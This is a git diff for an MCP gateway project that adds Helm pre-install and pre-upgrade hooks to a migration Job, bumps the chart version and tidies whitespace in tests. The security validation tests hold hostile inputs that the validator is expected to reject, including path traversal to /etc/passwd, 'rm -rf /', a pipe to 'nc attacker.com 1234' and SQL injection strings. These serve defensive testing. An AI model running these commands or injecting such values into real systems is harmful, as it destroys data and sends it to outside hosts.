diff --git a/charts/mcp-stack/CHANGELOG.md b/charts/mcp-stack/CHANGELOG.md index 8e856c233..1c5e276b2 100644 --- a/charts/mcp-stack/CHANGELOG.md +++ b/charts/mcp-stack/CHANGELOG.md @@ -6,6 +6,17 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/) --- +## [0.9.1] - 2025-12-03 + +### Added +* **Helm Hook Support for Migration Job** - enable recreation of the migration Job on every deployment + - helm.sh/hook: pre-install,pre-upgrade — ensures the migration Job runs automatically during installs and upgrades + - helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded — removes old migration Jobs to prevent immutable field errors + - Eliminates upgrade failures caused by changes to spec.template in Kubernetes Jobs + +### Changed +* **Chart version** - Bumped to 0.9.1 for migration job fix + ## [0.9.0] - 2025-11-05 ### Added diff --git a/charts/mcp-stack/Chart.yaml b/charts/mcp-stack/Chart.yaml index 829ec5053..5a8e2bb90 100644 --- a/charts/mcp-stack/Chart.yaml +++ b/charts/mcp-stack/Chart.yaml @@ -22,7 +22,7 @@ type: application # * appVersion - upstream application version; shown in UIs but not # used for upgrade logic. # -------------------------------------------------------------------- -version: 0.9.0 +version: 0.9.1 appVersion: "0.9.0" # Icon shown by registries / dashboards (must be an http(s) URL). diff --git a/charts/mcp-stack/templates/job-migration.yaml b/charts/mcp-stack/templates/job-migration.yaml index 1aba57ef9..4b42e9f08 100644 --- a/charts/mcp-stack/templates/job-migration.yaml +++ b/charts/mcp-stack/templates/job-migration.yaml @@ -6,6 +6,11 @@ metadata: labels: {{- include "mcp-stack.labels" . | nindent 4 }} app.kubernetes.io/component: migration + annotations: + # Run this Job before install/upgrade + "helm.sh/hook": pre-install,pre-upgrade + # Delete old Job before new one and clean up succeeded ones + "helm.sh/hook-delete-policy": before-hook-creation,hook-succeeded spec: # Job configuration backoffLimit: {{ .Values.migration.backoffLimit }} @@ -61,16 +66,13 @@ spec: secretKeyRef: name: {{ include "mcp-stack.postgresSecretName" . | trim }} key: POSTGRES_PASSWORD - # ---------- DERIVED URLS ---------- - name: DATABASE_URL value: >- postgresql://$(POSTGRES_USER):$(POSTGRES_PASSWORD)@$(POSTGRES_HOST):$(POSTGRES_PORT)/$(POSTGRES_DB) - # ---------- LOGGING ---------- - name: LOG_LEVEL value: "INFO" - # Resource limits resources: {{- toYaml .Values.migration.resources | nindent 12 }} diff --git a/tests/e2e/test_main_apis.py b/tests/e2e/test_main_apis.py index 2b7bac8f2..1c7eac372 100644 --- a/tests/e2e/test_main_apis.py +++ b/tests/e2e/test_main_apis.py @@ -1966,4 +1966,4 @@ async def test_complete_resource_lifecycle(self, client: AsyncClient, mock_auth) # Also, make sure to set the following environment variables or they will use defaults: # export MCPGATEWAY_AUTH_REQUIRED=false # To disable auth in tests -# Or the tests will override authentication automatically \ No newline at end of file +# Or the tests will override authentication automatically diff --git a/tests/security/test_validation.py b/tests/security/test_validation.py index 93e29daf2..8cd5f577b 100644 --- a/tests/security/test_validation.py +++ b/tests/security/test_validation.py @@ -76,7 +76,7 @@ def test_validate_path_uri_schemes(self): # HTTP URIs should pass through result = SecurityValidator.validate_path("http://example.com/file") assert result == "http://example.com/file" - + # Plugin URIs should pass through result = SecurityValidator.validate_path("plugin://my-plugin/resource") assert result == "plugin://my-plugin/resource" @@ -94,7 +94,7 @@ def test_allowed_roots_configuration(self): # Test with allowed roots result = SecurityValidator.validate_path("/srv/data/file.txt", ["/srv/data"]) assert "/srv/data" in result - + # Test rejection outside allowed roots with pytest.raises(ValueError, match="outside allowed roots"): SecurityValidator.validate_path("/tmp/file.txt", ["/srv/data"]) @@ -135,7 +135,7 @@ def test_sanitize_mime_type_verification(self): # Test valid MIME types assert SecurityValidator.validate_mime_type("text/plain") == "text/plain" assert SecurityValidator.validate_mime_type("application/json") == "application/json" - + # Test invalid MIME types with pytest.raises(ValueError, match="Invalid MIME type"): SecurityValidator.validate_mime_type("invalid") @@ -146,7 +146,7 @@ def test_sanitize_escape_sequences(self): result = SecurityValidator.sanitize_text("\x1b[0m\x1b[1;31mText\x1b[0m") assert "\x1b" not in result assert result == "Text" - + # Test cursor movement sequences result = SecurityValidator.sanitize_text("Hello\x1b[2JWorld") assert result == "HelloWorld" @@ -168,10 +168,10 @@ async def test_middleware_disabled(self): app = MagicMock() middleware = ValidationMiddleware(app) middleware.enabled = False - + request = MagicMock() call_next = AsyncMock(return_value="response") - + result = await middleware.dispatch(request, call_next) assert result == "response" call_next.assert_called_once() @@ -181,11 +181,11 @@ async def test_path_traversal_detection(self): """Test path traversal detection.""" app = MagicMock() middleware = ValidationMiddleware(app) - + # Test path traversal patterns with pytest.raises(Exception, match="Path traversal"): middleware.validate_resource_path("../../../etc/passwd") - + with pytest.raises(Exception, match="Path traversal"): middleware.validate_resource_path("/srv/data/../../secret.txt") @@ -197,10 +197,10 @@ async def test_command_injection_prevention(self): mock_settings.validation_strict = True with pytest.raises(ValueError, match="shell metacharacters"): SecurityValidator.validate_shell_parameter("file.jpg; cat /etc/passwd") - + with pytest.raises(ValueError, match="shell metacharacters"): SecurityValidator.validate_shell_parameter("file.jpg && rm -rf /") - + with pytest.raises(ValueError, match="shell metacharacters"): SecurityValidator.validate_shell_parameter("file.jpg | nc attacker.com 1234") @@ -210,11 +210,11 @@ async def test_output_sanitization(self): # Test control character removal result = SecurityValidator.sanitize_text("Hello\x1b[31mWorld\x00") assert result == "HelloWorld" - + # Test ANSI escape sequence removal result = SecurityValidator.sanitize_text("\x1b[1;31mRed Text\x1b[0m") assert result == "Red Text" - + # Test preserving newlines and tabs result = SecurityValidator.sanitize_text("Line1\nLine2\tTab") assert result == "Line1\nLine2\tTab" @@ -224,13 +224,13 @@ async def test_sql_injection_prevention(self): """Test SQL injection prevention.""" with patch('mcpgateway.common.validators.config_settings') as mock_settings: mock_settings.validation_strict = True - + # Test SQL injection patterns with pytest.raises(ValueError, match="SQL injection"): SecurityValidator.validate_sql_parameter("'; DROP TABLE users; --") - + with pytest.raises(ValueError, match="SQL injection"): SecurityValidator.validate_sql_parameter("1' OR '1'='1") - + with pytest.raises(ValueError, match="SQL injection"): - SecurityValidator.validate_sql_parameter("admin'--") \ No newline at end of file + SecurityValidator.validate_sql_parameter("admin'--")